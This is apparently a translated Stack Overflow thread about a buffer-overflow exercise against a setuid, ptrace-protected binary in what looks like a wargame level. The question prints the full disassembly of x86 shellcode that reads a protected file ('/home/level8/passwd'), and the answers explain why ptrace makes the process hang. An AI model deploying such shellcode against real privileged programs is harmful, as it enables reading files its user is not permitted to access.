2016-05-29 103 views
1

我試圖通過使用ptrace來防止調試的代碼。
這個可執行文件是suid,因此沒有必要破解它。 它也有堆棧段可執行文件。這個可執行文件用於播放。
當我發現自己存在一個漏洞後,我嘗試了緩衝區溢出。我寫了一個shellcode,它啓動了一個shell,我驚訝地發現它掛起了。 (BASH報告過程已經停止)
經過一些測試後,我得出了ptrace不僅可以防止調試的結論,還可以防止我的shellcode被執行。
關於ptrace,我發現調用ptrace(PTRACE_TRACEME,0,1,0)的進程一旦調用syscall exec就會停止。所以我改變了策略,因爲一旦它啓動一個可執行文件,ptrace就會停止進程,我嘗試了一個讀取文件的shellcode。我的目標不是啓動shell,而是讀取我的用戶沒有權限的文件。最後,這段代碼也被吊死了。

任何人都可以解釋爲什麼我的代碼,儘管它不包含執行調用,它會被絞死嗎?
有什麼辦法可以阻止進程本身內的ptrace?
在我的情況下,ptraced進程沒有父節點,它以更高的權限運行,導致suid,它如何被控制?PTRACE_TRACEME沒有父母

這裏我的代碼不應該包含任何exec。

這裏我的shell代碼:

0: 31 c0     xor eax,eax 
2: 31 db     xor ebx,ebx 
4: 31 c9     xor ecx,ecx 
6: 31 d2     xor edx,edx 
8: eb 38     jmp 0x42 
a: 5b      pop ebx 
b: c6 43 13 01    mov BYTE PTR [ebx+0x13],0x1 
f: fe 4b 13    dec BYTE PTR [ebx+0x13] 
12: b0 05     mov al,0x5 
14: 31 c9     xor ecx,ecx 
16: cd 80     int 0x80 
18: 89 c6     mov esi,eax 
1a: eb 06     jmp 0x22 
1c: b0 01     mov al,0x1 
1e: 31 db     xor ebx,ebx 
20: cd 80     int 0x80 
22: 89 f3     mov ebx,esi 
24: b0 03     mov al,0x3 
26: 83 ec 01    sub esp,0x1 
29: 89 e1     mov ecx,esp 
2b: b2 01     mov dl,0x1 
2d: cd 80     int 0x80 
2f: 31 db     xor ebx,ebx 
31: 39 c3     cmp ebx,eax 
33: 74 e7     je  0x1c 
35: b0 04     mov al,0x4 
37: b3 01     mov bl,0x1 
39: b2 01     mov dl,0x1 
3b: cd 80     int 0x80 
3d: 83 c4 01    add esp,0x1 
40: eb e0     jmp 0x22 
42: e8 c3 ff ff ff   call 0xa 
47:       db '/home/level8/passwd' 
+0

很有可能它崩潰了,但是當一個進程被捕獲時,那麼當它崩潰時它首先告訴跟蹤器,但在這種情況下跟蹤器是相同的進程,所以它是一個死鎖。 – immibis

+0

@Alessandro:它不是一個批評家或者其他任何類似的東西,只是一個建議,但是這個問題會更適合[RE.SE](https://reverseengineering.stackexchange.com/)(我無恥地製作一些廣告對於RE.SE!:))。 – perror

回答

0

我相信你有ptrace的是如何工作的核心誤解。

當調用execve後進程停止,那是一個好的的事情。這意味着你的調試器有機會在execve之前和之後進行改變。

在我看來,像你在孩子中寫過ptrace(PTRACE_TRACEME),但是你還沒有實現你應該擁有的任何父方支持。因此,只要ptrace試圖通知調試器一個事件,您的進程就會停止並且不會重新啓動。